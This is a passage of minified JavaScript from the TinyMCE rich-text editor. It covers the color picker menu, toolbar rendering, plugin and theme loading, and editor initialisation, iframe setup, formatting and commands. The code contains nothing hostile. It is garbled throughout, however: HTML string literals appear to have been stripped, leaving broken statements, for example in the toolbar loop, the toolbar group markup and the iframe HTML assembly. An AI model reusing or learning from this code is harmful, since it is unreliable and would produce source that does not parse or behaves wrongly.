f.hideMenu()}i=c.get(f.id);c.show(f.id+"_menu");c.addClass(i,"mceSplitButtonSelected");h=c.getPos(i);c.setStyles(f.id+"_menu",{left:h.x,top:h.y+i.clientHeight,zIndex:200000});i=0;a.add(c.doc,"mousedown",f.hideMenu,f);f.onShowMenu.dispatch(f);if(f._focused){f._keyHandler=a.add(f.id+"_menu","keydown",function(k){if(k.keyCode==27){f.hideMenu()}});c.select("a",f.id+"_menu")[0].focus()}f.isMenuVisible=1},hideMenu:function(g){var f=this;if(f.isMenuVisible){if(g&&g.type=="mousedown"&&c.getParent(g.target,function(h){return h.id===f.id+"_open"})){return}if(!g||!c.getParent(g.target,".mceSplitButtonMenu")){c.removeClass(f.id,"mceSplitButtonSelected");a.remove(c.doc,"mousedown",f.hideMenu,f);a.remove(f.id+"_menu","keydown",f._keyHandler);c.hide(f.id+"_menu")}f.isMenuVisible=0;f.onHideMenu.dispatch()}},renderMenu:function(){var p=this,h,k=0,q=p.settings,g,j,l,o,f;o=c.add(q.menu_container,"div",{role:"listbox",id:p.id+"_menu","class":q.menu_class+" "+q["class"],style:"position:absolute;left:0;top:-1000px;"});h=c.add(o,"div",{"class":q["class"]+" mceSplitButtonMenu"});c.add(h,"span",{"class":"mceMenuLine"});g=c.add(h,"table",{role:"presentation","class":"mceColorSplitMenu"});j=c.add(g,"tbody");k=0;e(b(q.colors,"array")?q.colors:q.colors.split(","),function(m){m=m.replace(/^#/,"");if(!k--){l=c.add(j,"tr");k=q.grid_width-1}g=c.add(l,"td");var i={href:"javascript:;",style:{backgroundColor:"#"+m},title:p.editor.getLang("colors."+m,m),"data-mce-color":"#"+m};if(!d.isIE){i.role="option"}g=c.add(g,"a",i);if(p.editor.forcedHighContrastMode){g=c.add(g,"canvas",{width:16,height:16,"aria-hidden":"true"});if(g.getContext&&(f=g.getContext("2d"))){f.fillStyle="#"+m;f.fillRect(0,0,16,16)}else{c.remove(g)}}});if(q.more_colors_func){g=c.add(j,"tr");g=c.add(g,"td",{colspan:q.grid_width,"class":"mceMoreColors"});g=c.add(g,"a",{role:"option",id:p.id+"_more",href:"javascript:;",onclick:"return false;","class":"mceMoreColors"},q.more_colors_title);a.add(g,"click",function(i){q.more_colors_func.call(q.more_colors_scope||this);return a.cancel(i)})}c.addClass(h,"mceColorSplitMenu");new d.ui.KeyboardNavigation({root:p.id+"_menu",items:c.select("a",p.id+"_menu"),onCancel:function(){p.hideMenu();p.focus()}});a.add(p.id+"_menu","mousedown",function(i){return a.cancel(i)});a.add(p.id+"_menu","click",function(i){var m;i=c.getParent(i.target,"a",j);if(i&&i.nodeName.toLowerCase()=="a"&&(m=i.getAttribute("data-mce-color"))){p.setColor(m)}return a.cancel(i)});return o},setColor:function(f){this.displayColor(f);this.hideMenu();this.settings.onselect(f)},displayColor:function(g){var f=this;c.setStyle(f.id+"_preview","backgroundColor",g);f.value=g},postRender:function(){var f=this,g=f.id;f.parent();c.add(g+"_action","div",{id:g+"_preview","class":"mceColorPreview"});c.setStyle(f.id+"_preview","backgroundColor",f.value)},destroy:function(){this.parent();a.clear(this.id+"_menu");a.clear(this.id+"_more");c.remove(this.id+"_menu")}})})(tinymce);(function(b){var d=b.DOM,c=b.each,a=b.dom.Event;b.create("tinymce.ui.ToolbarGroup:tinymce.ui.Container",{renderHTML:function(){var f=this,i=[],e=f.controls,j=b.each,g=f.settings;i.push('
    ');i.push("");i.push('");j(e,function(h){i.push(h.renderHTML())});i.push("");i.push("
    ");return i.join("")},focus:function(){var e=this;d.get(e.id).focus()},postRender:function(){var f=this,e=[];c(f.controls,function(g){c(g.controls,function(h){if(h.id){e.push(h)}})});f.keyNav=new b.ui.KeyboardNavigation({root:f.id,items:e,onCancel:function(){if(b.isWebKit){d.get(f.editor.id+"_ifr").focus()}f.editor.focus()},excludeFromTabOrder:!f.settings.tab_focus_toolbar})},destroy:function(){var e=this;e.parent();e.keyNav.destroy();a.clear(e.id)}})})(tinymce);(function(a){var c=a.DOM,b=a.each;a.create("tinymce.ui.Toolbar:tinymce.ui.Container",{renderHTML:function(){var m=this,f="",j,k,n=m.settings,e,d,g,l;l=m.controls;for(e=0;e"))}if(d&&k.ListBox){if(d.Button||d.SplitButton){f+=c.createHTML("td",{"class":"mceToolbarEnd"},c.createHTML("span",null,""))}}if(c.stdMode){f+=''+k.renderHTML()+""}else{f+=""+k.renderHTML()+""}if(g&&k.ListBox){if(g.Button||g.SplitButton){f+=c.createHTML("td",{"class":"mceToolbarStart"},c.createHTML("span",null,""))}}}j="mceToolbarEnd";if(k.Button){j+=" mceToolbarEndButton"}else{if(k.SplitButton){j+=" mceToolbarEndSplitButton"}else{if(k.ListBox){j+=" mceToolbarEndListBox"}}}f+=c.createHTML("td",{"class":j},c.createHTML("span",null,""));return c.createHTML("table",{id:m.id,"class":"mceToolbar"+(n["class"]?" "+n["class"]:""),cellpadding:"0",cellspacing:"0",align:m.settings.align||"",role:"presentation",tabindex:"-1"},""+f+"")}})})(tinymce);(function(b){var a=b.util.Dispatcher,c=b.each;b.create("tinymce.AddOnManager",{AddOnManager:function(){var d=this;d.items=[];d.urls={};d.lookup={};d.onAdd=new a(d)},get:function(d){if(this.lookup[d]){return this.lookup[d].instance}else{return undefined}},dependencies:function(e){var d;if(this.lookup[e]){d=this.lookup[e].dependencies}return d||[]},requireLangPack:function(e){var d=b.settings;if(d&&d.language&&d.language_load!==false){b.ScriptLoader.add(this.urls[e]+"/langs/"+d.language+".js")}},add:function(f,e,d){this.items.push(e);this.lookup[f]={instance:e,dependencies:d};this.onAdd.dispatch(this,f,e);return e},createUrl:function(d,e){if(typeof e==="object"){return e}else{return{prefix:d.prefix,resource:e,suffix:d.suffix}}},addComponents:function(f,d){var e=this.urls[f];b.each(d,function(g){b.ScriptLoader.add(e+"/"+g)})},load:function(j,f,d,h){var g=this,e=f;function i(){var k=g.dependencies(j);b.each(k,function(m){var l=g.createUrl(f,m);g.load(l.resource,l,undefined,undefined)});if(d){if(h){d.call(h)}else{d.call(b.ScriptLoader)}}}if(g.urls[j]){return}if(typeof f==="object"){e=f.prefix+f.resource+f.suffix}if(e.indexOf("/")!=0&&e.indexOf("://")==-1){e=b.baseURL+"/"+e}g.urls[j]=e.substring(0,e.lastIndexOf("/"));if(g.lookup[j]){i()}else{b.ScriptLoader.add(e,i,h)}}});b.PluginManager=new b.AddOnManager();b.ThemeManager=new b.AddOnManager()}(tinymce));(function(j){var g=j.each,d=j.extend,k=j.DOM,i=j.dom.Event,f=j.ThemeManager,b=j.PluginManager,e=j.explode,h=j.util.Dispatcher,a,c=0;j.documentBaseURL=window.location.href.replace(/[\?#].*$/,"").replace(/[\/\\][^\/]+$/,"");if(!/[\/\\]$/.test(j.documentBaseURL)){j.documentBaseURL+="/"}j.baseURL=new j.util.URI(j.documentBaseURL).toAbsolute(j.baseURL);j.baseURI=new j.util.URI(j.baseURL);j.onBeforeUnload=new h(j);i.add(window,"beforeunload",function(l){j.onBeforeUnload.dispatch(j,l)});j.onAddEditor=new h(j);j.onRemoveEditor=new h(j);j.EditorManager=d(j,{editors:[],i18n:{},activeEditor:null,init:function(q){var n=this,p,l=j.ScriptLoader,u,o=[],m;function r(x,y,t){var v=x[y];if(!v){return}if(j.is(v,"string")){t=v.replace(/\.\w+$/,"");t=t?j.resolve(t):0;v=j.resolve(v)}return v.apply(t||this,Array.prototype.slice.call(arguments,2))}q=d({theme:"simple",language:"en"},q);n.settings=q;i.add(document,"init",function(){var s,v;r(q,"onpageload");switch(q.mode){case"exact":s=q.elements||"";if(s.length>0){g(e(s),function(x){if(k.get(x)){m=new j.Editor(x,q);o.push(m);m.render(1)}else{g(document.forms,function(y){g(y.elements,function(z){if(z.name===x){x="mce_editor_"+c++;k.setAttrib(z,"id",x);m=new j.Editor(x,q);o.push(m);m.render(1)}})})}})}break;case"textareas":case"specific_textareas":function t(y,x){return x.constructor===RegExp?x.test(y.className):k.hasClass(y,x)}g(k.select("textarea"),function(x){if(q.editor_deselector&&t(x,q.editor_deselector)){return}if(!q.editor_selector||t(x,q.editor_selector)){u=k.get(x.name);if(!x.id&&!u){x.id=x.name}if(!x.id||n.get(x.id)){x.id=k.uniqueId()}m=new j.Editor(x.id,q);o.push(m);m.render(1)}});break}if(q.oninit){s=v=0;g(o,function(x){v++;if(!x.initialized){x.onInit.add(function(){s++;if(s==v){r(q,"oninit")}})}else{s++}if(s==v){r(q,"oninit")}})}})},get:function(l){if(l===a){return this.editors}return this.editors[l]},getInstanceById:function(l){return this.get(l)},add:function(m){var l=this,n=l.editors;n[m.id]=m;n.push(m);l._setActive(m);l.onAddEditor.dispatch(l,m);return m},remove:function(n){var m=this,l,o=m.editors;if(!o[n.id]){return null}delete o[n.id];for(l=0;l':"",visual_table_class:"mceItemTable",visual:1,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",apply_source_formatting:1,directionality:"ltr",forced_root_block:"p",hidden_input:1,padd_empty_editor:1,render_ui:1,init_theme:1,force_p_newlines:1,indentation:"30px",keep_styles:1,fix_table_elements:1,inline_styles:1,convert_fonts_to_spans:true,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,li,area,table,thead,tfoot,tbody,tr",validate:true,entity_encoding:"named",url_converter:q.convertURL,url_converter_scope:q,ie7_compat:true},r);q.documentBaseURI=new n.util.URI(r.document_base_url||n.documentBaseURL,{base_uri:tinyMCE.baseURI});q.baseURI=n.baseURI;q.contentCSS=[];q.execCallback("setup",q)},render:function(u){var v=this,x=v.settings,y=v.id,q=n.ScriptLoader;if(!k.domLoaded){k.add(document,"init",function(){v.render()});return}tinyMCE.settings=x;if(!v.getElement()){return}if(n.isIDevice&&!n.isIOS5){return}if(!/TEXTAREA|INPUT/i.test(v.getElement().nodeName)&&x.hidden_input&&o.getParent(y,"form")){o.insertAfter(o.create("input",{type:"hidden",name:y}),y)}if(n.WindowManager){v.windowManager=new n.WindowManager(v)}if(x.encoding=="xml"){v.onGetContent.add(function(s,t){if(t.save){t.content=o.encode(t.content)}})}if(x.add_form_submit_trigger){v.onSubmit.addToTop(function(){if(v.initialized){v.save();v.isNotDirty=1}})}if(x.add_unload_trigger){v._beforeUnload=tinyMCE.onBeforeUnload.add(function(){if(v.initialized&&!v.destroyed&&!v.isHidden()){v.save({format:"raw",no_events:true})}})}n.addUnload(v.destroy,v);if(x.submit_patch){v.onBeforeRenderUI.add(function(){var s=v.getElement().form;if(!s){return}if(s._mceOldSubmit){return}if(!s.submit.nodeType&&!s.submit.length){v.formElement=s;s._mceOldSubmit=s.submit;s.submit=function(){n.triggerSave();v.isNotDirty=1;return v.formElement._mceOldSubmit(v.formElement)}}s=null})}function r(){if(x.language&&x.language_load!==false){q.add(n.baseURL+"/langs/"+x.language+".js")}if(x.theme&&x.theme.charAt(0)!="-"&&!h.urls[x.theme]){h.load(x.theme,"themes/"+x.theme+"/editor_template"+n.suffix+".js")}i(g(x.plugins),function(t){if(t&&!c.urls[t]){if(t.charAt(0)=="-"){t=t.substr(1,t.length);var s=c.dependencies(t);i(s,function(A){var z={prefix:"plugins/",resource:A,suffix:"/editor_plugin"+n.suffix+".js"};var A=c.createUrl(z,A);c.load(A.resource,A)})}else{if(t=="safari"){return}c.load(t,{prefix:"plugins/",resource:t,suffix:"/editor_plugin"+n.suffix+".js"})}}});q.loadQueue(function(){if(!v.removed){v.init()}})}r()},init:function(){var v,I=this,J=I.settings,F,B,E=I.getElement(),r,q,G,z,D,H,A,x=[];n.add(I);J.aria_label=J.aria_label||o.getAttrib(E,"aria-label",I.getLang("aria.rich_text_area"));if(J.theme){J.theme=J.theme.replace(/-/,"");r=h.get(J.theme);I.theme=new r();if(I.theme.init&&J.init_theme){I.theme.init(I,h.urls[J.theme]||n.documentBaseURL.replace(/\/$/,""))}}function C(K){var L=c.get(K),t=c.urls[K]||n.documentBaseURL.replace(/\/$/,""),s;if(L&&n.inArray(x,K)===-1){i(c.dependencies(K),function(u){C(u)});s=new L(I,t);I.plugins[K]=s;if(s.init){s.init(I,t);x.push(K)}}}i(g(J.plugins.replace(/\-/g,"")),C);if(J.popup_css!==false){if(J.popup_css){J.popup_css=I.documentBaseURI.toAbsolute(J.popup_css)}else{J.popup_css=I.baseURI.toAbsolute("themes/"+J.theme+"/skins/"+J.skin+"/dialog.css")}}if(J.popup_css_add){J.popup_css+=","+I.documentBaseURI.toAbsolute(J.popup_css_add)}I.controlManager=new n.ControlManager(I);if(J.custom_undo_redo){I.onBeforeExecCommand.add(function(t,K,u,L,s){if(K!="Undo"&&K!="Redo"&&K!="mceRepaint"&&(!s||!s.skip_undo)){I.undoManager.beforeChange()}});I.onExecCommand.add(function(t,K,u,L,s){if(K!="Undo"&&K!="Redo"&&K!="mceRepaint"&&(!s||!s.skip_undo)){I.undoManager.add()}})}I.onExecCommand.add(function(s,t){if(!/^(FontName|FontSize)$/.test(t)){I.nodeChanged()}});if(a){function y(s,t){if(!t||!t.initial){I.execCommand("mceRepaint")}}I.onUndo.add(y);I.onRedo.add(y);I.onSetContent.add(y)}I.onBeforeRenderUI.dispatch(I,I.controlManager);if(J.render_ui){F=J.width||E.style.width||E.offsetWidth;B=J.height||E.style.height||E.offsetHeight;I.orgDisplay=E.style.display;H=/^[0-9\.]+(|px)$/i;if(H.test(""+F)){F=Math.max(parseInt(F)+(r.deltaWidth||0),100)}if(H.test(""+B)){B=Math.max(parseInt(B)+(r.deltaHeight||0),100)}r=I.theme.renderUI({targetNode:E,width:F,height:B,deltaWidth:J.delta_width,deltaHeight:J.delta_height});I.editorContainer=r.editorContainer}if(document.domain&&location.hostname!=document.domain){n.relaxedDomain=document.domain}o.setStyles(r.sizeContainer||r.editorContainer,{width:F,height:B});if(J.content_css){n.each(g(J.content_css),function(s){I.contentCSS.push(I.documentBaseURI.toAbsolute(s))})}B=(r.iframeHeight||B)+(typeof(B)=="number"?(r.deltaHeight||0):"");if(B<100){B=100}I.iframeHTML=J.doctype+'';if(J.document_base_url!=n.documentBaseURL){I.iframeHTML+=''}if(J.ie7_compat){I.iframeHTML+=''}else{I.iframeHTML+=''}I.iframeHTML+='';for(A=0;A'}I.contentCSS=[];z=J.body_id||"tinymce";if(z.indexOf("=")!=-1){z=I.getParam("body_id","","hash");z=z[I.id]||z}D=J.body_class||"";if(D.indexOf("=")!=-1){D=I.getParam("body_class","","hash");D=D[I.id]||""}I.iframeHTML+='
    ";if(n.relaxedDomain&&(b||(n.isOpera&&parseFloat(opera.version())<11))){G='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinyMCE.get("'+I.id+'");document.write(ed.iframeHTML);document.close();ed.setupIframe();})()'}v=o.add(r.iframeContainer,"iframe",{id:I.id+"_ifr",src:G||'javascript:""',frameBorder:"0",allowTransparency:"true",title:J.aria_label,style:{width:"100%",height:B,display:"block"}});I.contentAreaContainer=r.iframeContainer;o.get(r.editorContainer).style.display=I.orgDisplay;o.get(I.id).style.display="none";o.setAttrib(I.id,"aria-hidden",true);if(!n.relaxedDomain||!G){I.setupIframe()}E=v=r=null},setupIframe:function(){var r=this,x=r.settings,y=o.get(r.id),z=r.getDoc(),v,q;if(!b||!n.relaxedDomain){z.open();z.write(r.iframeHTML);z.close();if(n.relaxedDomain){z.domain=n.relaxedDomain}}q=r.getBody();q.disabled=true;if(!x.readonly){q.contentEditable=true}q.disabled=false;r.schema=new n.html.Schema(x);r.dom=new n.dom.DOMUtils(r.getDoc(),{keep_values:true,url_converter:r.convertURL,url_converter_scope:r,hex_colors:x.force_hex_style_colors,class_filter:x.class_filter,update_styles:1,fix_ie_paragraphs:1,schema:r.schema});r.parser=new n.html.DomParser(x,r.schema);if(!r.settings.allow_html_in_named_anchor){r.parser.addAttributeFilter("name",function(s,t){var B=s.length,D,A,C,E;while(B--){E=s[B];if(E.name==="a"&&E.firstChild){C=E.parent;D=E.lastChild;do{A=D.prev;C.insert(D,E);D=A}while(D)}}})}r.parser.addAttributeFilter("src,href,style",function(s,t){var A=s.length,C,E=r.dom,D,B;while(A--){C=s[A];D=C.attr(t);B="data-mce-"+t;if(!C.attributes.map[B]){if(t==="style"){C.attr(B,E.serializeStyle(E.parseStyle(D),C.name))}else{C.attr(B,r.convertURL(D,t,C.name))}}}});r.parser.addNodeFilter("script",function(s,t){var A=s.length,B;while(A--){B=s[A];B.attr("type","mce-"+(B.attr("type")||"text/javascript"))}});r.parser.addNodeFilter("#cdata",function(s,t){var A=s.length,B;while(A--){B=s[A];B.type=8;B.name="#comment";B.value="[CDATA["+B.value+"]]"}});r.parser.addNodeFilter("p,h1,h2,h3,h4,h5,h6,div",function(t,A){var B=t.length,C,s=r.schema.getNonEmptyElements();while(B--){C=t[B];if(C.isEmpty(s)){C.empty().append(new n.html.Node("br",1)).shortEnded=true}}});r.serializer=new n.dom.Serializer(x,r.dom,r.schema);r.selection=new n.dom.Selection(r.dom,r.getWin(),r.serializer);r.formatter=new n.Formatter(this);r.formatter.register({alignleft:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"left"}},{selector:"img,table",collapsed:false,styles:{"float":"left"}}],aligncenter:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"center"}},{selector:"img",collapsed:false,styles:{display:"block",marginLeft:"auto",marginRight:"auto"}},{selector:"table",collapsed:false,styles:{marginLeft:"auto",marginRight:"auto"}}],alignright:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"right"}},{selector:"img,table",collapsed:false,styles:{"float":"right"}}],alignfull:[{selector:"p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li",styles:{textAlign:"justify"}}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:true},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:true},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},wrap_links:false},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},wrap_links:false},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},link:{inline:"a",selector:"a",remove:"all",split:true,deep:true,onmatch:function(s){return true},onformat:function(A,s,t){i(t,function(C,B){r.dom.setAttrib(A,B,C)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike",remove:"all",split:true,expand:false,block_expand:true,deep:true},{selector:"span",attributes:["style","class"],remove:"empty",split:true,expand:false,deep:true},{selector:"*",attributes:["style","class"],split:false,expand:false,deep:true}]});i("p h1 h2 h3 h4 h5 h6 div address pre div code dt dd samp".split(/\s/),function(s){r.formatter.register(s,{block:s,remove:"all"})});r.formatter.register(r.settings.formats);r.undoManager=new n.UndoManager(r);r.undoManager.onAdd.add(function(t,s){if(t.hasUndo()){return r.onChange.dispatch(r,s,t)}});r.undoManager.onUndo.add(function(t,s){return r.onUndo.dispatch(r,s,t)});r.undoManager.onRedo.add(function(t,s){return r.onRedo.dispatch(r,s,t)});r.forceBlocks=new n.ForceBlocks(r,{forced_root_block:x.forced_root_block});r.editorCommands=new n.EditorCommands(r);r.serializer.onPreProcess.add(function(s,t){return r.onPreProcess.dispatch(r,t,s)});r.serializer.onPostProcess.add(function(s,t){return r.onPostProcess.dispatch(r,t,s)});r.onPreInit.dispatch(r);if(!x.gecko_spellcheck){r.getBody().spellcheck=0}if(!x.readonly){r._addEvents()}r.controlManager.onPostRender.dispatch(r,r.controlManager);r.onPostRender.dispatch(r);r.quirks=new n.util.Quirks(this);if(x.directionality){r.getBody().dir=x.directionality}if(x.nowrap){r.getBody().style.whiteSpace="nowrap"}if(x.handle_node_change_callback){r.onNodeChange.add(function(t,s,A){r.execCallback("handle_node_change_callback",r.id,A,-1,-1,true,r.selection.isCollapsed())})}if(x.save_callback){r.onSaveContent.add(function(s,A){var t=r.execCallback("save_callback",r.id,A.content,r.getBody());if(t){A.content=t}})}if(x.onchange_callback){r.onChange.add(function(t,s){r.execCallback("onchange_callback",r,s)})}if(x.protect){r.onBeforeSetContent.add(function(s,t){if(x.protect){i(x.protect,function(A){t.content=t.content.replace(A,function(B){return""})})}})}if(x.convert_newlines_to_brs){r.onBeforeSetContent.add(function(s,t){if(t.initial){t.content=t.content.replace(/\r?\n/g,"
    ")}})}if(x.preformatted){r.onPostProcess.add(function(s,t){t.content=t.content.replace(/^\s*/,"");t.content=t.content.replace(/<\/pre>\s*$/,"");if(t.set){t.content='
    '+t.content+"
    "}})}if(x.verify_css_classes){r.serializer.attribValueFilter=function(C,A){var B,t;if(C=="class"){if(!r.classesRE){t=r.dom.getClasses();if(t.length>0){B="";i(t,function(s){B+=(B?"|":"")+s["class"]});r.classesRE=new RegExp("("+B+")","gi")}}return !r.classesRE||/(\bmceItem\w+\b|\bmceTemp\w+\b)/g.test(A)||r.classesRE.test(A)?A:""}return A}}if(x.cleanup_callback){r.onBeforeSetContent.add(function(s,t){t.content=r.execCallback("cleanup_callback","insert_to_editor",t.content,t)});r.onPreProcess.add(function(s,t){if(t.set){r.execCallback("cleanup_callback","insert_to_editor_dom",t.node,t)}if(t.get){r.execCallback("cleanup_callback","get_from_editor_dom",t.node,t)}});r.onPostProcess.add(function(s,t){if(t.set){t.content=r.execCallback("cleanup_callback","insert_to_editor",t.content,t)}if(t.get){t.content=r.execCallback("cleanup_callback","get_from_editor",t.content,t)}})}if(x.save_callback){r.onGetContent.add(function(s,t){if(t.save){t.content=r.execCallback("save_callback",r.id,t.content,r.getBody())}})}if(x.handle_event_callback){r.onEvent.add(function(s,t,A){if(r.execCallback("handle_event_callback",t,s,A)===false){k.cancel(t)}})}r.onSetContent.add(function(){r.addVisual(r.getBody())});if(x.padd_empty_editor){r.onPostProcess.add(function(s,t){t.content=t.content.replace(/^(]*>( | |\s|\u00a0|)<\/p>[\r\n]*|
    [\r\n]*)$/,"")})}if(a){function u(s,t){i(s.dom.select("a"),function(B){var A=B.parentNode;if(s.dom.isBlock(A)&&A.lastChild===B){s.dom.add(A,"br",{"data-mce-bogus":1})}})}r.onExecCommand.add(function(s,t){if(t==="CreateLink"){u(s)}});r.onSetContent.add(r.selection.onSetContent.add(u))}r.load({initial:true,format:"html"});r.startContent=r.getContent({format:"raw"});r.undoManager.add();r.initialized=true;r.onInit.dispatch(r);r.execCallback("setupcontent_callback",r.id,r.getBody(),r.getDoc());r.execCallback("init_instance_callback",r);r.focus(true);r.nodeChanged({initial:1});i(r.contentCSS,function(s){r.dom.loadCSS(s)});if(x.auto_focus){setTimeout(function(){var s=n.get(x.auto_focus);s.selection.select(s.getBody(),1);s.selection.collapse(1);s.getBody().focus();s.getWin().focus()},100)}y=null},focus:function(v){var z,r=this,u=r.selection,y=r.settings.content_editable,s,q,x=r.getDoc();if(!v){s=u.getRng();if(s.item){q=s.item(0)}r._refreshContentEditable();if(!y){r.getWin().focus()}if(n.isGecko){r.getBody().focus()}if(q&&q.ownerDocument==x){s=x.body.createControlRange();s.addElement(q);s.select()}}if(n.activeEditor!=r){if((z=n.activeEditor)!=null){z.onDeactivate.dispatch(z,r)}r.onActivate.dispatch(r,z)}n._setActive(r)},execCallback:function(v){var q=this,u=q.settings[v],r;if(!u){return}if(q.callbackLookup&&(r=q.callbackLookup[v])){u=r.func;r=r.scope}if(d(u,"string")){r=u.replace(/\.\w+$/,"");r=r?n.resolve(r):0;u=n.resolve(u);q.callbackLookup=q.callbackLookup||{};q.callbackLookup[v]={func:u,scope:r}}return u.apply(r||q,Array.prototype.slice.call(arguments,1))},translate:function(q){var t=this.settings.language||"en",r=n.i18n;if(!q){return""}return r[t+"."+q]||q.replace(/{\#([^}]+)\}/g,function(u,s){return r[t+"."+s]||"{#"+s+"}"})},getLang:function(r,q){return n.i18n[(this.settings.language||"en")+"."+r]||(d(q)?q:"{#"+r+"}")},getParam:function(x,s,q){var t=n.trim,r=d(this.settings[x])?this.settings[x]:s,u;if(q==="hash"){u={};if(d(r,"string")){i(r.indexOf("=")>0?r.split(/[;,](?![^=;,]*(?:[;,]|$))/):r.split(","),function(y){y=y.split("=");if(y.length>1){u[t(y[0])]=t(y[1])}else{u[t(y[0])]=t(y)}})}else{u=r}return u}return r},nodeChanged:function(u){var q=this,r=q.selection,v=r.getStart()||q.getBody();if(q.initialized){u=u||{};v=b&&v.ownerDocument!=q.getDoc()?q.getBody():v;u.parents=[];q.dom.getParent(v,function(s){if(s.nodeName=="BODY"){return true}u.parents.push(s)});q.onNodeChange.dispatch(q,u?u.controlManager||q.controlManager:q.controlManager,v,r.isCollapsed(),u)}},addButton:function(u,r){var q=this;q.buttons=q.buttons||{};q.buttons[u]=r},addCommand:function(q,s,r){this.execCommands[q]={func:s,scope:r||this}},addQueryStateHandler:function(q,s,r){this.queryStateCommands[q]={func:s,scope:r||this}},addQueryValueHandler:function(q,s,r){this.queryValueCommands[q]={func:s,scope:r||this}},addShortcut:function(s,v,q,u){var r=this,x;if(!r.settings.custom_shortcuts){return false}r.shortcuts=r.shortcuts||{};if(d(q,"string")){x=q;q=function(){r.execCommand(x,false,null)}}if(d(q,"object")){x=q;q=function(){r.execCommand(x[0],x[1],x[2])}}i(g(s),function(t){var y={func:q,scope:u||this,desc:v,alt:false,ctrl:false,shift:false};i(g(t,"+"),function(z){switch(z){case"alt":case"ctrl":case"shift":y[z]=true;break;default:y.charCode=z.charCodeAt(0);y.keyCode=z.toUpperCase().charCodeAt(0)}});r.shortcuts[(y.ctrl?"ctrl":"")+","+(y.alt?"alt":"")+","+(y.shift?"shift":"")+","+y.keyCode]=y});return true},execCommand:function(y,x,A,q){var u=this,v=0,z,r;if(!/^(mceAddUndoLevel|mceEndUndoLevel|mceBeginUndoLevel|mceRepaint|SelectAll)$/.test(y)&&(!q||!q.skip_focus)){u.focus()}q=f({},q);u.onBeforeExecCommand.dispatch(u,y,x,A,q);if(q.terminate){return false}if(u.execCallback("execcommand_callback",u.id,u.selection.getNode(),y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}if(z=u.execCommands[y]){r=z.func.call(z.scope,x,A);if(r!==true){u.onExecCommand.dispatch(u,y,x,A,q);return r}}i(u.plugins,function(s){if(s.execCommand&&s.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);v=1;return false}});if(v){return true}if(u.theme&&u.theme.execCommand&&u.theme.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}if(u.editorCommands.execCommand(y,x,A)){u.onExecCommand.dispatch(u,y,x,A,q);return true}u.getDoc().execCommand(y,x,A);u.onExecCommand.dispatch(u,y,x,A,q)},queryCommandState:function(v){var r=this,x,u;if(r._isHidden()){return}if(x=r.queryStateCommands[v]){u=x.func.call(x.scope);if(u!==true){return u}}x=r.editorCommands.queryCommandState(v);if(x!==-1){return x}try{return this.getDoc().queryCommandState(v)}catch(q){}},queryCommandValue:function(x){var r=this,v,u;if(r._isHidden()){return}if(v=r.queryValueCommands[x]){u=v.func.call(v.scope);if(u!==true){return u}}v=r.editorCommands.queryCommandValue(x);if(d(v)){return v}try{return this.getDoc().queryCommandValue(x)}catch(q){}},show:function(){var q=this;o.show(q.getContainer());o.hide(q.id);q.load()},hide:function(){var q=this,r=q.getDoc();if(b&&r){r.execCommand("SelectAll")}q.save();o.hide(q.getContainer());o.setStyle(q.id,"display",q.orgDisplay)},isHidden:function(){return !o.isHidden(this.id)},setProgressState:function(q,r,s){this.onSetProgressState.dispatch(this,q,r,s);return q},load:function(u){var q=this,s=q.getElement(),r;if(s){u=u||{};u.load=true;r=q.setContent(d(s.value)?s.value:s.innerHTML,u);u.element=s;if(!u.no_events){q.onLoadContent.dispatch(q,u)}u.element=s=null;return r}},save:function(v){var q=this,u=q.getElement(),r,s;if(!u||!q.initialized){return}v=v||{};v.save=true;if(!v.no_events){q.undoManager.typing=false;q.undoManager.add()}v.element=u;r=v.content=q.getContent(v);if(!v.no_events){q.onSaveContent.dispatch(q,v)}r=v.content;if(!/TEXTAREA|INPUT/i.test(u.nodeName)){u.innerHTML=r;if(s=o.getParent(q.id,"form")){i(s.elements,function(t){if(t.name==q.id){t.value=r;return false}})}}else{u.value=r}v.element=u=null;return r},setContent:function(v,t){var s=this,r,q=s.getBody(),u;t=t||{};t.format=t.format||"html";t.set=true;t.content=v;if(!t.no_events){s.onBeforeSetContent.dispatch(s,t)}v=t.content;if(!n.isIE&&(v.length===0||/^\s+$/.test(v))){u=s.settings.forced_root_block;if(u){v="<"+u+'>
    "}else{v='
